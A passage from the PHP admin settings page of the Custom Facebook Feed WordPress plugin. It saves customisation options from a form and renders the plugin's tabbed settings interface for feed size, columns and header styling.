'cff_translate_seconds' ] = $cff_translate_seconds; $options[ 'cff_translate_minute' ] = $cff_translate_minute; $options[ 'cff_translate_minutes' ] = $cff_translate_minutes; $options[ 'cff_translate_hour' ] = $cff_translate_hour; $options[ 'cff_translate_hours' ] = $cff_translate_hours; $options[ 'cff_translate_day' ] = $cff_translate_day; $options[ 'cff_translate_days' ] = $cff_translate_days; $options[ 'cff_translate_week' ] = $cff_translate_week; $options[ 'cff_translate_weeks' ] = $cff_translate_weeks; $options[ 'cff_translate_month' ] = $cff_translate_month; $options[ 'cff_translate_months' ] = $cff_translate_months; $options[ 'cff_translate_year' ] = $cff_translate_year; $options[ 'cff_translate_years' ] = $cff_translate_years; $options[ 'cff_translate_ago' ] = $cff_translate_ago; //Meta $options[ 'cff_icon_style' ] = $cff_icon_style; $options[ 'cff_meta_text_color' ] = $cff_meta_text_color; $options[ 'cff_meta_bg_color' ] = $cff_meta_bg_color; $options[ 'cff_nocomments_text' ] = $cff_nocomments_text; $options[ 'cff_hide_comments' ] = $cff_hide_comments; //View on Facebook link $options[ 'cff_link_size' ] = $cff_link_size; $options[ 'cff_link_weight' ] = $cff_link_weight; $options[ 'cff_link_color' ] = $cff_link_color; $options[ 'cff_facebook_link_text' ] = $cff_facebook_link_text; $options[ 'cff_facebook_share_text' ] = $cff_facebook_share_text; $options[ 'cff_show_facebook_link' ] = $cff_show_facebook_link; $options[ 'cff_show_facebook_share' ] = $cff_show_facebook_share; $options[ 'cff_view_link_text' ] = $cff_view_link_text; $options[ 'cff_link_to_timeline' ] = $cff_link_to_timeline; } //Update the Misc options if( isset($_POST[ $style_misc_hidden_field_name ]) && $_POST[ $style_misc_hidden_field_name ] == 'Y' ) { //Custom CSS if (isset($_POST[ 'cff_custom_css' ])) $cff_custom_css = $_POST[ 'cff_custom_css' ]; if (isset($_POST[ 'cff_custom_js' ])) $cff_custom_js = $_POST[ 'cff_custom_js' ]; if (isset($_POST[ 'cff_video_height' ])) $cff_video_height = sanitize_text_field( $_POST[ 'cff_video_height' ] ); if (isset($_POST[ 'cff_video_action' ])) $cff_video_action = sanitize_text_field( $_POST[ 'cff_video_action' ] ); if (isset($_POST[ 'cff_open_links' ])) $cff_open_links = sanitize_text_field( $_POST[ 'cff_open_links' ] ); (isset($_POST[ $cff_ajax ])) ? $cff_ajax_val = sanitize_text_field( $_POST[ 'cff_ajax' ] ) : $cff_ajax_val = ''; if (isset($_POST[ 'cff_app_id' ])) $cff_app_id = sanitize_text_field( $_POST[ 'cff_app_id' ] ); (isset($_POST[ 'cff_show_credit' ])) ? $cff_show_credit = sanitize_text_field( $_POST[ 'cff_show_credit' ] ) : $cff_show_credit = ''; (isset($_POST[ 'cff_font_source' ])) ? $cff_font_source = sanitize_text_field( $_POST[ 'cff_font_source' ] ) : $cff_font_source = ''; (isset($_POST[ $cff_preserve_settings ])) ? $cff_preserve_settings_val = sanitize_text_field( $_POST[ 'cff_preserve_settings' ] ) : $cff_preserve_settings_val = ''; if (isset($_POST[ 'cff_cron' ])) $cff_cron = sanitize_text_field( $_POST[ 'cff_cron' ] ); if (isset($_POST[ 'cff_request_method' ])) $cff_request_method = sanitize_text_field( $_POST[ 'cff_request_method' ] ); (isset($_POST[ 'cff_disable_styles' ])) ? $cff_disable_styles = sanitize_text_field( $_POST[ 'cff_disable_styles' ] ) : $cff_disable_styles = ''; (isset($_POST[ 'cff_format_issue' ])) ? $cff_format_issue = sanitize_text_field( $_POST[ 'cff_format_issue' ] ) : $cff_format_issue = ''; (isset($_POST[ 'cff_restricted_page' ])) ? $cff_restricted_page = sanitize_text_field( $_POST[ 'cff_restricted_page' ] ) : $cff_restricted_page = ''; (isset($_POST[ 'cff_minify' ])) ? $cff_minify = sanitize_text_field( $_POST[ 'cff_minify' ] ) : $cff_minify = ''; (isset($_POST[ 'cff_disable_admin_notice' ])) ? $cff_disable_admin_notice = sanitize_text_field( $_POST[ 'cff_disable_admin_notice' ] ) : $cff_disable_admin_notice = ''; //Custom CSS $options[ 'cff_custom_css' ] = $cff_custom_css; $options[ 'cff_custom_js' ] = $cff_custom_js; $options[ 'cff_video_height' ] = $cff_video_height; $options[ 'cff_video_action' ] = $cff_video_action; $options[ 'cff_open_links' ] = $cff_open_links; update_option( $cff_ajax, $cff_ajax_val ); $options[ 'cff_app_id' ] = $cff_app_id; $options[ 'cff_show_credit' ] = $cff_show_credit; $options[ 'cff_font_source' ] = $cff_font_source; update_option( $cff_preserve_settings, $cff_preserve_settings_val ); $options[ 'cff_cron' ] = $cff_cron; $options[ 'cff_request_method' ] = $cff_request_method; $options[ 'cff_disable_styles' ] = $cff_disable_styles; $options[ 'cff_format_issue' ] = $cff_format_issue; $options[ 'cff_restricted_page' ] = $cff_restricted_page; $options[ 'cff_minify' ] = $cff_minify; $options[ 'disable_admin_notice' ] = $cff_disable_admin_notice; if( $cff_cron == 'no' ) wp_clear_scheduled_hook('cff_cron_job'); //Run cron when Misc settings are saved if( $cff_cron == 'yes' ){ //Clear the existing cron event wp_clear_scheduled_hook('cff_cron_job'); $cff_cache_time = get_option( 'cff_cache_time' ); $cff_cache_time_unit = get_option( 'cff_cache_time_unit' ); //Set the event schedule based on what the caching time is set to $cff_cron_schedule = 'hourly'; if( $cff_cache_time_unit == 'hours' && $cff_cache_time > 5 ) $cff_cron_schedule = 'twicedaily'; if( $cff_cache_time_unit == 'days' ) $cff_cron_schedule = 'daily'; wp_schedule_event(time(), $cff_cron_schedule, 'cff_cron_job'); } isset($_POST[ 'cff_enable_email_report' ]) ? $cff_enable_email_report = $_POST[ 'cff_enable_email_report' ] : $cff_enable_email_report = ''; $options['enable_email_report'] = $cff_enable_email_report; isset($_POST[ 'cff_email_notification' ]) ? $cff_email_notification = $_POST[ 'cff_email_notification' ] : $cff_email_notification = ''; $original = $options['email_notification']; $options['email_notification'] = $cff_email_notification; isset($_POST[ 'cff_email_notification_addresses' ]) ? $cff_email_notification_addresses = $_POST[ 'cff_email_notification_addresses' ] : $cff_email_notification_addresses = get_option( 'admin_email' ); $options['email_notification_addresses'] = $cff_email_notification_addresses; if ( $original !== $cff_email_notification && $cff_enable_email_report === 'on' ){ //Clear the existing cron event wp_clear_scheduled_hook('cff_feed_issue_email'); $input = sanitize_text_field($_POST[ 'cff_email_notification' ] ); $timestamp = strtotime( 'next ' . $input ); if ( $timestamp - (3600 * 1) < time() ) { $timestamp = $timestamp + (3600 * 24 * 7); } $six_am_local = $timestamp + cff_get_utc_offset() + (6*60*60); wp_schedule_event( $six_am_local, 'cffweekly', 'cff_feed_issue_email' ); } } //Update the Custom Text / Translate options if( isset($_POST[ $style_custom_text_hidden_field_name ]) && $_POST[ $style_custom_text_hidden_field_name ] == 'Y' ) { //Translate if (isset($_POST[ 'cff_see_more_text' ])) $cff_see_more_text = sanitize_text_field( $_POST[ 'cff_see_more_text' ] ); if (isset($_POST[ 'cff_see_less_text' ])) $cff_see_less_text = sanitize_text_field( $_POST[ 'cff_see_less_text' ] ); if (isset($_POST[ 'cff_facebook_link_text' ])) $cff_facebook_link_text = sanitize_text_field( $_POST[ 'cff_facebook_link_text' ] ); if (isset($_POST[ 'cff_facebook_share_text' ])) $cff_facebook_share_text = sanitize_text_field( $_POST[ 'cff_facebook_share_text' ] ); //Social translate if (isset($_POST[ 'cff_translate_photos_text' ])) $cff_translate_photos_text = sanitize_text_field( $_POST[ 'cff_translate_photos_text' ] ); if (isset($_POST[ 'cff_translate_photo_text' ])) $cff_translate_photo_text = sanitize_text_field( $_POST[ 'cff_translate_photo_text' ] ); if (isset($_POST[ 'cff_translate_video_text' ])) $cff_translate_video_text = sanitize_text_field( $_POST[ 'cff_translate_video_text' ] ); if (isset($_POST[ 'cff_translate_learn_more_text' ])) $cff_translate_learn_more_text = sanitize_text_field( $_POST[ 'cff_translate_learn_more_text' ] ); if (isset($_POST[ 'cff_translate_shop_now_text' ])) $cff_translate_shop_now_text = sanitize_text_field( $_POST[ 'cff_translate_shop_now_text' ] ); if (isset($_POST[ 'cff_translate_message_page_text' ])) $cff_translate_message_page_text = sanitize_text_field( $_POST[ 'cff_translate_message_page_text' ] ); //Date translate if (isset($_POST[ 'cff_translate_second' ])) $cff_translate_second = sanitize_text_field( $_POST[ 'cff_translate_second' ] ); if (isset($_POST[ 'cff_translate_seconds' ])) $cff_translate_seconds = sanitize_text_field( $_POST[ 'cff_translate_seconds' ] ); if (isset($_POST[ 'cff_translate_minute' ])) $cff_translate_minute = sanitize_text_field( $_POST[ 'cff_translate_minute' ] ); if (isset($_POST[ 'cff_translate_minutes' ])) $cff_translate_minutes = sanitize_text_field( $_POST[ 'cff_translate_minutes' ] ); if (isset($_POST[ 'cff_translate_hour' ])) $cff_translate_hour = sanitize_text_field( $_POST[ 'cff_translate_hour' ] ); if (isset($_POST[ 'cff_translate_hours' ])) $cff_translate_hours = sanitize_text_field( $_POST[ 'cff_translate_hours' ] ); if (isset($_POST[ 'cff_translate_day' ])) $cff_translate_day = sanitize_text_field( $_POST[ 'cff_translate_day' ] ); if (isset($_POST[ 'cff_translate_days' ])) $cff_translate_days = sanitize_text_field( $_POST[ 'cff_translate_days' ] ); if (isset($_POST[ 'cff_translate_week' ])) $cff_translate_week = sanitize_text_field( $_POST[ 'cff_translate_week' ] ); if (isset($_POST[ 'cff_translate_weeks' ])) $cff_translate_weeks = sanitize_text_field( $_POST[ 'cff_translate_weeks' ] ); if (isset($_POST[ 'cff_translate_month' ])) $cff_translate_month = sanitize_text_field( $_POST[ 'cff_translate_month' ] ); if (isset($_POST[ 'cff_translate_months' ])) $cff_translate_months = sanitize_text_field( $_POST[ 'cff_translate_months' ] ); if (isset($_POST[ 'cff_translate_year' ])) $cff_translate_year = sanitize_text_field( $_POST[ 'cff_translate_year' ] ); if (isset($_POST[ 'cff_translate_years' ])) $cff_translate_years = sanitize_text_field( $_POST[ 'cff_translate_years' ] ); if (isset($_POST[ 'cff_translate_ago' ])) $cff_translate_ago = sanitize_text_field( $_POST[ 'cff_translate_ago' ] ); //Translate $options[ 'cff_see_more_text' ] = $cff_see_more_text; $options[ 'cff_see_less_text' ] = $cff_see_less_text; $options[ 'cff_facebook_link_text' ] = $cff_facebook_link_text; $options[ 'cff_facebook_share_text' ] = $cff_facebook_share_text; //Social translate $options[ 'cff_translate_photos_text' ] = $cff_translate_photos_text; $options[ 'cff_translate_photo_text' ] = $cff_translate_photo_text; $options[ 'cff_translate_video_text' ] = $cff_translate_video_text; $options[ 'cff_translate_learn_more_text' ] = $cff_translate_learn_more_text; $options[ 'cff_translate_shop_now_text' ] = $cff_translate_shop_now_text; $options[ 'cff_translate_message_page_text' ] = $cff_translate_message_page_text; //Date translate $options[ 'cff_translate_second' ] = $cff_translate_second; $options[ 'cff_translate_seconds' ] = $cff_translate_seconds; $options[ 'cff_translate_minute' ] = $cff_translate_minute; $options[ 'cff_translate_minutes' ] = $cff_translate_minutes; $options[ 'cff_translate_hour' ] = $cff_translate_hour; $options[ 'cff_translate_hours' ] = $cff_translate_hours; $options[ 'cff_translate_day' ] = $cff_translate_day; $options[ 'cff_translate_days' ] = $cff_translate_days; $options[ 'cff_translate_week' ] = $cff_translate_week; $options[ 'cff_translate_weeks' ] = $cff_translate_weeks; $options[ 'cff_translate_month' ] = $cff_translate_month; $options[ 'cff_translate_months' ] = $cff_translate_months; $options[ 'cff_translate_year' ] = $cff_translate_year; $options[ 'cff_translate_years' ] = $cff_translate_years; $options[ 'cff_translate_ago' ] = $cff_translate_ago; } //Update the array update_option( 'cff_style_settings', $options ); // Put an settings updated message on the screen ?> <div class="updated"><p><strong><?php _e('Settings saved.', 'custom-facebook-feed' ); ?></strong></p></div> <?php } ?> <?php } //End nonce check ?> <?php $lite_notice_dismissed = get_transient( 'facebook_feed_dismiss_lite' ); if ( ! $lite_notice_dismissed ) : ?> <div id="cff-notice-bar" style="display:none"> <span class="cff-notice-bar-message"><?php _e( 'You\'re using Custom Facebook Feed Lite. To unlock more features consider <a href="https://smashballoon.com/custom-facebook-feed/?utm_campaign=facebook-free&utm_source=notices&utm_medium=lite" target="_blank" rel="noopener noreferrer">upgrading to Pro</a>.', 'custom-facebook-feed'); ?></span> <button type="button" class="dismiss" title="<?php _e( 'Dismiss this message.', 'custom-facebook-feed'); ?>" data-page="overview"> </button> </div> <?php endif; ?> <div id="cff-admin" class="wrap"> <div id="header"> <h1><?php _e('Custom Facebook Feed', 'custom-facebook-feed'); ?></h1> </div> <form name="form1" method="post" action=""> <input type="hidden" name="<?php echo $style_hidden_field_name; ?>" value="Y"> <?php wp_nonce_field( 'cff_saving_customize', 'cff_customize_nonce' ); ?> <?php $cff_active_tab = isset( $_GET[ 'tab' ] ) ? $_GET[ 'tab' ] : 'general'; ?> <h2 class="nav-tab-wrapper"> <a href="?page=cff-top&tab=configuration" class="nav-tab <?php echo $cff_active_tab == 'configuration' ? 'nav-tab-active' : ''; ?>"><?php _e('Configuration'); ?></a> <a href="?page=cff-style" class="nav-tab nav-tab-active"><?php _e('Customize'); ?></a> <a href="?page=cff-top&tab=support" class="nav-tab <?php echo $cff_active_tab == 'support' ? 'nav-tab-active' : ''; ?>"><?php _e('Support'); ?></a> </h2> <h2 class="nav-tab-wrapper cff-subtabs"> <a href="?page=cff-style&tab=general" class="nav-tab <?php echo $cff_active_tab == 'general' ? 'nav-tab-active' : ''; ?>"><?php _e('General'); ?></a> <a href="?page=cff-style&tab=post_layout" class="nav-tab <?php echo $cff_active_tab == 'post_layout' ? 'nav-tab-active' : ''; ?>"><?php _e('Post Layout'); ?></a> <a href="?page=cff-style&tab=typography" class="nav-tab <?php echo $cff_active_tab == 'typography' ? 'nav-tab-active' : ''; ?>"><?php _e('Style Posts'); ?></a> <a href="?page=cff-style&tab=misc" class="nav-tab <?php echo $cff_active_tab == 'misc' ? 'nav-tab-active' : ''; ?>"><?php _e('Misc'); ?></a> <a href="?page=cff-style&tab=custom_text" class="nav-tab <?php echo $cff_active_tab == 'custom_text' ? 'nav-tab-active' : ''; ?>"><?php _e('Custom Text / Translate'); ?></a> </h2> <?php if( $cff_active_tab == 'general' ) { //Start General tab ?> <p class="cff_contents_links" id="general"> <span>Jump to: </span> <a href="#general"><?php _e('General', 'custom-facebook-feed'); ?></a> <a href="#header"><?php _e('Header', 'custom-facebook-feed'); ?></a> <a href="#likebox"><?php _e('Like Box', 'custom-facebook-feed'); ?></a> </p> <input type="hidden" name="<?php echo $style_general_hidden_field_name; ?>" value="Y"> <br /> <table class="form-table"> <tbody> <h3><?php _e('General', 'custom-facebook-feed'); ?></h3> <tr valign="top"> <th class="bump-left" scope="row"><label><?php _e('Feed Width', 'custom-facebook-feed'); ?></label><code class="cff_shortcode"> width Eg: width=500px</code></th> <td> <input name="cff_feed_width" id="cff_feed_width" type="text" value="<?php esc_attr_e( $cff_feed_width, 'custom-facebook-feed' ); ?>" size="6" /> <i style="color: #666; font-size: 11px;">Eg. 100% or 500px</i> <div id="cff_width_options"> <input name="cff_feed_width_resp" type="checkbox" id="cff_feed_width_resp" <?php if($cff_feed_width_resp == true) echo "checked"; ?> /><label for="cff_feed_width_resp"><?php _e('Set to be 100% width on mobile?', 'custom-facebook-feed'); ?></label> <a class="cff-tooltip-link" href="JavaScript:void(0);"><?php _e('What does this mean?', 'custom-facebook-feed'); ?></a> <p class="cff-tooltip cff-more-info"><?php _e("If you set a width on the feed then this will be used on mobile as well as desktop. Check this setting to set the feed width to be 100% on mobile so that it is responsive.", 'custom-facebook-feed'); ?></p> </div> </td> </tr> <tr valign="top"> <th class="bump-left" scope="row"><label><?php _e('Feed Height', 'custom-facebook-feed'); ?></label><code class="cff_shortcode"> height Eg: height=500px</code></th> <td> <input name="cff_feed_height" type="text" value="<?php esc_attr_e( $cff_feed_height, 'custom-facebook-feed' ); ?>" size="6" /> <i style="color: #666; font-size: 11px;">Eg. 500px</i> <a class="cff-tooltip-link" href="JavaScript:void(0);"><i class="fa fa-question-circle" aria-hidden="true"></i></a> <p class="cff-tooltip cff-more-info"><?php _e("Use this to set a fixed height on the feed. If the feed exceeds this height then a scroll bar will be used. Leave it empty to set no maximum height."); ?></p> </td> </tr> <th class="bump-left" scope="row"><label><?php _e('Feed Padding', 'custom-facebook-feed'); ?></label><code class="cff_shortcode"> padding Eg: padding=20px</code></th> <td> <input name="cff_feed_padding" type="text" value="<?php esc_attr_e( $cff_feed_padding, 'custom-facebook-feed' ); ?>" size="6" /> <i style="color: #666; font-size: 11px;">Eg. 20px or 2%</i> <a class="cff-tooltip-link" href="JavaScript:void(0);"><i class="fa fa-question-circle" aria-hidden="true"></i></a> <p class="cff-tooltip cff-more-info"><?php _e("This is the amount of padding/spacing that goes around the feed. This is particularly useful if you intend to set a background color on the feed."); ?></p> </td> </tr> <tr valign="top"> <th class="bump-left" scope="row"><label><?php _e('Feed Background Color', 'custom-facebook-feed'); ?></label><code class="cff_shortcode"> bgcolor Eg: bgcolor=FF0000</code></th> <td> <input name="cff_bg_color" value="#<?php esc_attr_e( str_replace('#', '', $cff_bg_color), 'custom-facebook-feed' ); ?>" class="cff-colorpicker" /> </td> </tr> <tr valign="top"> <th class="bump-left" scope="row"><label><?php _e('Add CSS class to feed', 'custom-facebook-feed'); ?></label><code class="cff_shortcode"> class Eg: class=myfeed</code></th> <td> <input name="cff_class" type="text" value="<?php esc_attr_e( $cff_class, 'custom-facebook-feed' ); ?>" size="25" /> <a class="cff-tooltip-link" href="JavaScript:void(0);"><i class="fa fa-question-circle" aria-hidden="true"></i></a> <p class="cff-tooltip cff-more-info"><?php _e("You can add your own CSS classes to the feed here. To add multiple classes separate each with a space, Eg. classone classtwo classthree"); ?></p> </td> </tr> <tr valign="top"> <th class="bump-left" scope="row"><label for="cff_cols">Feed Columns</label><code class="cff_shortcode"> cols Eg: cols=3</code></th> <td class="cff-short"> <select name="cff_cols" id="cff_cols"> <option value="1" <?php if( $cff_cols == 1 ) { echo 'selected'; } ?>>1</option> <option value="2" <?php if( $cff_cols == 2 ) { echo 'selected'; } ?>>2</option> <option value="3" <?php if( $cff_cols == 3 ) { echo 'selected'; } ?>>3</option> <option value="4" <?php if( $cff_cols == 4 ) { echo 'selected'; } ?>>4</option> <option value="5" <?php if( $cff_cols == 5 ) { echo 'selected'; } ?>>5</option> <option value="6" <?php if( $cff_cols == 6 ) { echo 'selected'; } ?>>6</option> </select> <br /> <div class="cff-mobile-col-settings" <?php if( intval($cff_cols) > 1 ) echo 'style="display:block;"' ?>> <div class="cff-row"> <label title="Click for shortcode option">Mobile Columns:</label><code class="cff_shortcode"> colsmobile Eg: colsmobile=2</code> <select name="cff_cols_mobile" id="cff_cols_mobile"> <option value="1" <?php if( $cff_cols_mobile == 1 ) { echo 'selected'; } ?>>1</option> <option value="2" <?php if( $cff_cols_mobile == 2 ) { echo 'selected'; } ?>>2</option> </select> </div> </div> </td> </tr> </tbody> </table> <?php submit_button(); ?> <hr id="types" /> <table class="form-table"> <tbody> <h3><?php _e('Post Types', 'custom-facebook-feed'); ?></h3> <tr valign="top"> <th scope="row"><?php _e('Only show these types of posts:', 'custom-facebook-feed'); ?><br /> <i style="color: #666; font-size: 11px;"><a href="https://smashballoon.com/custom-facebook-feed/?utm_campaign=facebook-free&utm_source=settings&utm_medium=types" target="_blank"><?php _e('Upgrade to Pro to enable post types, photos, videos and more', 'custom-facebook-feed'); ?></a></i></th> <td> <div> <input name="cff_show_status_type" type="checkbox" id="cff_show_status_type" disabled checked /> <label for="cff_show_status_type"><?php _e('Statuses', 'custom-facebook-feed'); ?></label> </div> <div> <input type="checkbox" name="cff_show_event_type" id="cff_show_event_type" disabled checked /> <label for="cff_show_event_type"><?php _e('Events', 'custom-facebook-feed'); ?></label> </div> <div> <input type="checkbox" name="cff_show_photos_type" id="cff_show_photos_type" disabled checked /> <label for="cff_show_photos_type"><?php _e('Photos', 'custom-facebook-feed'); ?></label> </div> <div> <input type="checkbox" name="cff_show_video_type" id="cff_show_video_type" disabled checked /> <label for="cff_show_video_type"><?php _e('Videos', 'custom-facebook-feed'); ?></label> </div> <div> <input type="checkbox" name="cff_show_links_type" id="cff_show_links_type" disabled checked /> <label for="cff_show_links_type"><?php _e('Links', 'custom-facebook-feed'); ?></label> </div> <div> <input type="checkbox" name="cff_show_links_type" id="cff_show_links_type" disabled checked /> <label for="cff_show_links_type"><?php _e('Albums', 'custom-facebook-feed'); ?></label> </div> </td> </tr> </tbody> </table> <hr /> <table class="form-table"> <tbody> <h3><?php _e('Header', 'custom-facebook-feed'); ?></h3> <tr valign="top"> <th class="bump-left" scope="row"><label><?php _e('Show Feed Header', 'custom-facebook-feed'); ?></label><code class="cff_shortcode"> showheader Eg: showheader=true</code></th> <td> <input type="checkbox" name="cff_show_header" id="cff_show_header" <?php if($cff_show_header == true) echo 'checked="checked"' ?> /> <a class="cff-tooltip-link" href="JavaScript:void(0);"><?php _e('What is the header?', 'custom-facebook-feed'); ?></a> <p class="cff-tooltip cff-more-info"><?php _e("The header allows you to display text and an icon at the top of your feed. Customize the text, style, and layout of the header using the settings below.", "custom-facebook-feed"); ?></p> </td> </tr> <tbody> <tr valign="top" class="cff-header-type"> <th class="bump-left" scope="row"><label><?php _e('Header Type'); ?></label><code class="cff_shortcode"> headertype Eg: headertype=visual</code></th> <td> <select name="cff_header_type" id="cff_header_type" style="width: 100px;"> <option value="text" <?php if($cff_header_type == "text") echo 'selected="selected"' ?> ><?php _e('Text'); ?></option> <option value="visual" <?php if($cff_header_type == "visual") echo 'selected="selected"' ?> ><?php _e('Visual'); ?></option> </select> <div class="cff-header-options"> <table> <tbody class="cff-facebook-header"> <tr valign="top"> <th class="bump-left" scope="row"><label><?php _e('Facebook Header Elements', 'custom-facebook-feed'); ?></label><code class="cff_shortcode"> include exclude Eg: headerinc=cover,name Eg: headerexclude=about Options: cover,name,about</code></th> <td> <div> <input name="cff_header_cover" type="checkbox" id="cff_header_cover" <?php if($cff_header_cover == true) echo "checked"; ?> /> <label for="cff_header_cover"> <?php _e('Cover Photo', 'custom-facebook-feed'); ?> </label> </div> <div> <input name="cff_header_name" type="checkbox" id="cff_header_name" <?php if($cff_header_name == true) echo "checked"; ?> /> <label for="cff_header_name"> <?php _e('Name and Avatar', 'custom-facebook-feed'); ?> </label> </div> <div> <input name="cff_header_bio" type="checkbox" id="cff_header_bio" <?php if($cff_header_bio == true) echo "checked"; ?> /> <label for="cff_header_bio"> <?php _e('About Info (bio and likes)', 'custom-facebook-feed'); ?> </label> </div> </td> </tr> <tr valign="top"> <th class="bump-left" scope="row"><label><?php _e('Cover Photo Height', 'custom-facebook-feed'); ?></label></th> <td> <input style="width:70px" name="cff_header_cover_height" type="text" id="cff_header_cover_height" value="<?php echo $cff_header_cover_height; ?>"/> px </td> </tr> </tbody> <tbody class="cff-text-header"> <tr> <th class="bump-left cff-text-header" scope="row"><label><?php _e('Header Text'); ?></label><code class="cff_shortcode"> headertext Eg: headertext='Facebook Feed'</code></th> <td> <input name="cff_header_text" type="text" value="<?php echo stripslashes( esc_attr( $cff_header_text ) ); ?>" size="30" /> </td> </tr> <tr valign="top"> <th class="bump-left" scope="row"><label><?php _e('Background Color'); ?></label><code class="cff_shortcode"> headerbg Eg: headerbg=DDD</code></th> <td> <input name="cff_header_bg_color" value="#<?php esc_attr_e( str_replace('#', '', $cff_header_bg_color) ); ?>" class="cff-colorpicker" /> </td> </tr> </tr> <th class="bump-left" scope="row"><label><?php _e('Padding/Spacing'); ?></label><code class="cff_shortcode"> headerpadding Eg: headerpadding=20px</code></th> <td> <input name="cff_header_padding" type="text" value="<?php esc_attr_e( $cff_header_padding ); ?>" size="6" /> <i style="color: #666; font-size: 11px;">Eg. 20px</i> </td> </tr> <tr> <th class="bump-left" scope="row"><label><?php _e('Icon Type'); ?></label><code class="cff_shortcode"> headericon Eg: headericon=facebook</code></th> <td> <select name="cff_header_icon" id="cff-header-icon"> <option value="facebook-square" <?php if($cff_header_icon == "facebook-square") echo 'selected="selected"' ?> >Facebook 1</option> <option value="facebook" <?php if($cff_header_icon == "facebook") echo 'selected="selected"' ?> >Facebook 2</option> <option value="calendar" <?php if($cff_header_icon == "calendar") echo 'selected="selected"' ?> >Events 1</option> <option value="calendar-o" <?php if($cff_header_icon == "calendar-o") echo 'selected="selected"' ?> >Events 2</option> <option value="picture-o" <?php if($cff_header_icon == "picture-o") echo 'selected="selected"' ?> >Photos</option> <option value="users" <?php if($cff_header_icon == "users") echo 'selected="selected"' ?> >People</option> <option value="thumbs-o-up" <?php if($cff_header_icon == "thumbs-o-up") echo 'selected="selected"' ?> >Thumbs Up 1</option> <option value="thumbs-up" <?php if($cff_header_icon == "thumbs-up") echo 'selected="selected"' ?> >Thumbs Up 2</option> <option value="comment-o" <?php if($cff_header_icon == "comment-o") echo 'selected="selected"' ?> >Speech Bubble 1</option> <option value="comment" <?php if($cff_header_icon == "comment") echo 'selected="selected"' ?> >Speech Bubble 2</option> <option value="ticket" <?php if($cff_header_icon == "ticket") echo 'selected="selected"' ?> >Ticket</option> <option value="list-alt" <?php if($cff_header_icon == "list-alt") echo 'selected="selected"' ?> >News List</option> <option value="file" <?php if($cff_header_icon == "file") echo 'selected="selected"' ?> >File 1</option> <option value="file-o" <?php if($cff_header_icon == "file-o") echo 'selected="selected"' ?> >File 2</option> <option value="file-text" <?php if($cff_header_icon == "file-text") echo 'selected="selected"' ?> >File 3</option> <option value="file-text-o" <?php if($cff_header_icon == "file-text-o") echo 'selected="selected"' ?> >File 4</option> <option value="youtube-play" <?php if($cff_header_icon == "youtube-play") echo 'selected="selected"' ?> >Video</option> <option value="youtube" <?php if($cff_header_icon == "youtube") echo 'selected="selected"' ?> >YouTube</option> <option value="vimeo-square" <?php if($cff_header_icon == "vimeo-square") echo 'selected="selected"' ?> >Vimeo</option> </select> <i id="cff-header-icon-example" class="fa fa-facebook-square"></i> </td> </tr> <tr> <th class="bump-left" scope="row"><label><?php _e('Icon Color'); ?></label><code class="cff_shortcode"> headericoncolor Eg: headericoncolor=FFF</code></th> <td> <input name="cff_header_icon_color" value="#<?php esc_attr_e( str_replace('#', '', $cff_header_icon_color) ); ?>" class="cff-colorpicker" /> </td> </tr> <tr> <th class="bump-left" scope="row"><label><?php _e('Icon Size'); ?></label><code class="cff_shortcode"> headericonsize Eg: headericonsize=28</code></th> <td> <select name="cff_header_icon_size" id="cff-header-icon-size" style="width: 80px;"> <option value="10" <?php if($cff_header_icon_size == "10") echo 'selected="selected"' ?> >10px</option> <option value="11" <?php if($cff_header_icon_size == "11") echo 'selected="selected"' ?> >11px</option> <option value="12" <?php if($cff_header_icon_size == "12") echo 'selected="selected"' ?> >12px</option> <option value="13" <?php if($cff_header_icon_size == "13") echo 'selected="selected"' ?> >13px</option> <option value="14" <?php if($cff_header_icon_size == "14") echo 'selected="selected"' ?> >14px</option> <option value="16" <?php if($cff_header_icon_size == "16") echo 'selected="selected"' ?> >16px</option> <option value="18" <?php if($cff_header_icon_size == "18") echo 'selected="selected"' ?> >18px</option> <option value="20" <?php if($cff_header_icon_size == "20") echo 'selected="selected"' ?> >20px</option> <option value="24" <?php if($cff_header_icon_size == "24") echo 'selected="selected"' ?> >24px</option> <option value="28" <?php if($cff_header_icon_size == "28") echo 'selected="selected"' ?> >28px</option> <option value="32" <?php if($cff_header_icon_size == "32") echo 'selected="selected"' ?> >32px</option> <option value="36" <?php if($cff_header_icon_size == "36") echo 'selected="selected"' ?> >36px</option> <option value="42" <?php if($cff_header_icon_size == "42") echo 'selected="selected"' ?> >42px</option> <option value="48" <?php if($cff_header_icon_size == "48") echo 'selected="selected"' ?> >48px</option> <option value="54" <?php if($cff_header_icon_size == "54") echo 'selected="selected"' ?> >54px</option> <option value="60" <?php if($cff_header_icon_size == "60") echo 'selected="selected"' ?> >60px</option> </select> </td> </tr> </tbody> </table> </div> </td> </tr> </tbody> <tbody class="cff-header-text-styles"> <tr valign="top"> <th class="bump-left" scope="row"><label><?php _e('Display outside scrollable area'); ?></label><code class="cff_shortcode"> headeroutside Eg: headeroutside=true</code></th> <td> <input type="checkbox" name="cff_header_outside" id="cff_header_outside" <?php if($cff_header_outside == true) echo 'checked="checked"' ?> /> <a class="cff-tooltip-link" href="JavaScript:void(0);"><i class="fa fa-question-circle" aria-hidden="true"></i></a> <p class="cff-tooltip cff-more-info"><?php _e("This positions the Header outside of the feed container. It is useful if your feed has a vertical scrollbar as it places it outside of the scrollable area and fixes it at the top."); ?></p> </td> </tr> <tr> <th class="bump-left" scope="row"><label><?php _e('Text Size'); ?></label><code class="cff_shortcode"> headertextsize Eg: headertextsize=28</code></th> <td> <select name="cff_header_text_size" class="cff-text-size-setting"> <option value="inherit" <?php if($cff_header_text_size == "inherit") echo 'selected="selected"' ?> >Inherit from theme</option> <option value="10" <?php if($cff_header_text_size == "10") echo 'selected="selected"' ?> >10px</option> <option value="11" <?php if($cff_header_text_size == "11") echo 'selected="selected"' ?> >11px</option> <option value="12" <?php if($cff_header_text_size == "12") echo 'selected="selected"' ?> >12px</option> <option value="13" <?php if($cff_header_text_size == "13") echo 'selected="selected"' ?> >13px</option> <option value="14" <?php if($cff_header_text_size == "14") echo 'selected="selected"' ?> >14px</option> <option value="16" <?php if($cff_header_text_size == "16") echo 'selected="selected"' ?> >16px</option> <option value="18" <?php if($cff_header_text_size == "18") echo 'selected="selected"' ?> >18px</option> <option value="20" <?php if($cff_header_text_size == "20") echo 'selected="selected"' ?> >20px</option> <option value="24" <?php if($cff_header_text_size == "24") echo 'selected="selected"' ?> >24px</option> <option value="28" <?php if($cff_header_text_size == "28") echo 'selected="selected"' ?> >28px</option> <option value="32" <?php if($cff_header_text_size == "32") echo 'selected="selected"' ?> >32px</option> <option value="36" <?php if($cff_header_text_size == "36") echo 